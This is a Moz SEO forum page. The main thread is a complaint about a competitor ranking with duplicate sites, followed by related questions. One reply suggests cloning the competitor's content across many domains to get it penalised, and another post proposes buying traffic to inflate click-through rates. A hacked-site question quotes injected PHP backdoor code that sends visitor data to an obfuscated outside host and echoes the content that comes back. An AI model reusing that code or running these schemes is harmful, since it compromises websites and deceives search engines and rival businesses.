Competitor ranking well with duplicate content—what are my options?
-
A competitor is ranking #1 and #3 for a search term (see attached) by publishing two separate sites with the same content. They've modified the title of the page, and serve it in a different design, but are using their branded domain and a keyword-rich domain to gain multiple rankings. This has been going on for years, and I've always told myself that Google would eventually catch it with an algorithm update, but that doesn't seem to be happening. Does anyone know of other options? It doesn't seem like this falls under any of the categories that Google lists on their web spam report page—is there any other way to get bring this up with the powers that be, or is it something that I just have to live with and hope that Google figures out some day?
Any advice would help. Thanks!
how_to_become_a_home_inspector_-_Google_Search_2015-01-15_18-45-06.jpg
-
Yeah, I don't really like the 'theory' I listed, but sometimes you aren't left with very many options. If a business has been trying to go out it organically for as long as the OP has, then maybe it is time to consider something farther outside the box.
-
Ray's advice, while a little devious and maybe a touch shady, is likely what I'd suggest as well. Nothing worse than being outranked this way.
Also:
https://www.google.com/webmasters/tools/spamreportform?hl=en
-
Well, this is unfortunate to have happen - and really hard to look at as an SEO. It puts you in a tough position.
The content is obviously duplicate, they don't even bother to update the brand name in much of it, nor the meta data and other on-page factors completely.
They are hosted on the same account, same IP address.
Their NAP is the exact same.
They even share Google Analytics IDs. Maybe someone knows why this stays out of sight of the algo updates, but I'm not sure.
In theory, you could purchase a keyword rich domain, copy their URL structure, and copy their content. Then see if that website ranks in the SERPs. if so then I would do it with 8 more websites and dominate the SERPs. Once the page is spammed full of the same content, Google should catch on and penalize all the sites. All the new duplicate sites should be on a different web host than your primary domain. Just a theory though...
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Key word Ranking are going down
Hi, my website's Keywords Ranking are going down, I am very new to SEO, I don't know what's the reason please help me out....my website is www.tourspackagedubai.com. Thanks
White Hat / Black Hat SEO | | tariqsalam0 -
Do Ghost Traffic/Spam Referrals factor into rankings, or do they just affect the CTR and Bounce Rate in Analytics?
So, by now I'm sure everyone that pays attention to their Analytics/GWT's (or Search Console, now) has seen spam referral traffic and ghost traffic showing up (Ilovevitaly.com, simple-share-buttons.com, semalt.com, etc). Here is my question(s)... Does this factor into rankings in anyway? We all know that click through rate and bounce rate (might) send signals to the algorithm and signal a low quality site, which could affect rankings. I guess what I'm asking is are they getting any of that data from Analytics? Since ghost referral traffic never actually visits my site, how could it affect the CTR our Bounce Rate that the algorithm is seeing? I'm hoping that it only affects my Bounce/CTR in Analytics and I can just filter that stuff out with filters in Analytics and it won't ever affect my rankings. But.... since we don't know where exactly the algorithm is pulling data on CTR and bounce rate, I guess I'm just worried that having a large amount of this spam/ghost traffic that I see in analytics could be causing harm to my rankings.... Sorry, long winded way of saying... Should I pay attention to this traffic? Should I care about it? Will it harm my site or my rankings at all? And finally... when is google going to shut these open back doors in Analytics so that Vitaly and his ilk are shut down forever?
White Hat / Black Hat SEO | | seequs2 -
Black hat : raising CTR to have better rank in Google
We all know that Google uses click-through-rate (CTR) as one of it is ranking factor. I came up with an idea in my mind. I would like to see if someone saw this idea before or tried it. If you search in Google for the term "SEO" for example. You will see the moz.com website in rank 3. And if you checked the source code you will see that result 3 is linking to this url: https://www.google.com.sa/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&uact=8&ved=0CDMQFjAC&url=https%3A%2F%2Fmoz.com%2Fbeginners-guide-to-seo&ei=F-pPVaDZBoSp7Abo_IDYAg&usg=AFQjCNEwiTCgNNNWInUJNibqiJCnlqcYtw That url will redirect you to seomoz.com Ok, what if we use linkbucks.com or any other cheap targeted traffic network and have a campaign that sends traffic to the url that I show you. Will that count as traffic from Google so it will increase the CTR from Google?
White Hat / Black Hat SEO | | Mohtaref11 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
RD and PA high but still not ranking
We picked up a client who before ourselves was just using link building as their SEO strategy. They came to us for on page SEO and overall guidance. We have done some targeted link building and did some work with their link building company to remove some links, however after doing some further diggings Im wondering if we still have some bad links? My reasoning for this is:- all the SEO work we have done on the pages are getting A reports in Moz (which is our back up check) the RD and PA for many of the pages we have focused on are higher RDs and PA's than the pages that rank on the first page Any suggestions?
White Hat / Black Hat SEO | | SocialB1 -
Copied Content/ Copied Website/
Hello guys, I was checking my product descriptions and I found out that there is a website that is using my descriptions word by word, also they use company name, product images, they have a link that sends you to my site, contact form.. I tried to purchase something and the order came through our email, but i made an inquire and it didn't come through. Also they have a sub-folder with my company name. Also they have url's with my company name, and this isn't right is it? I am confused and honestly I don't know what to do, we don't take part to any affiliation program or anything like that and we don't ship out of Europe. This is a Chinese website. Just for curiosity, I noticed that one of our competitors is there as well, and it does seem weird. Here is the links: www.everychina . com/company/repsole_limited-hz1405d06.html
White Hat / Black Hat SEO | | PremioOscar0 -
Why won't my home page rank for branded terms?
Hello, I've been trying to figure out what factors are causing my home page not to rank for my branded terms. The site is www.lipozene.com and after the late April Google algorithm our rankings have disappeared off the map for the term "lipozene". Different element of the site show up in organic rankings, including our shopping cart (http://shop.lipozene.com) as high as page two. However, the home page is not ranking organically. On Yahoo & Bing we have never dropped out of the number 1 spot. We did engage in some link building activities, however we've removed nearly all of the links that were created by our SEO guy. I did NOT receive any notifications from Google regarding their link policy. If you search for lipozene.com we rank #1. Any thoughts on what we're missing thats causing us to not rank is greatly apprecaited. Thanks!
White Hat / Black Hat SEO | | lipoweb0 -
Do bad links "hurt" your ranking or just not add any value
Do bad links "hurt" your ranking or just not add any value. By this I mean, if you do have links from link farms and bad neighbourhoods, would it effectively pull you down in search engine rankings. Or is it more that it's just a waste of time to get these links, as it adds no value to your ranking. Are google saying avoid them because it will not have a positive effect, or avoid them becuase it will have a negative effect. I am under the opinion that it will not harm, but it will not help either. I think this because at the end of the day you are not 100% in control of your inbound links, any bad site could add you and if a competitor, god forbid, wanted to play some black hat games, couldn't they just add you to thousands of bad sites to pull your ranking down? Interested to hear your opinions on the matter, or any "facts" if they are out there.
White Hat / Black Hat SEO | | esendex0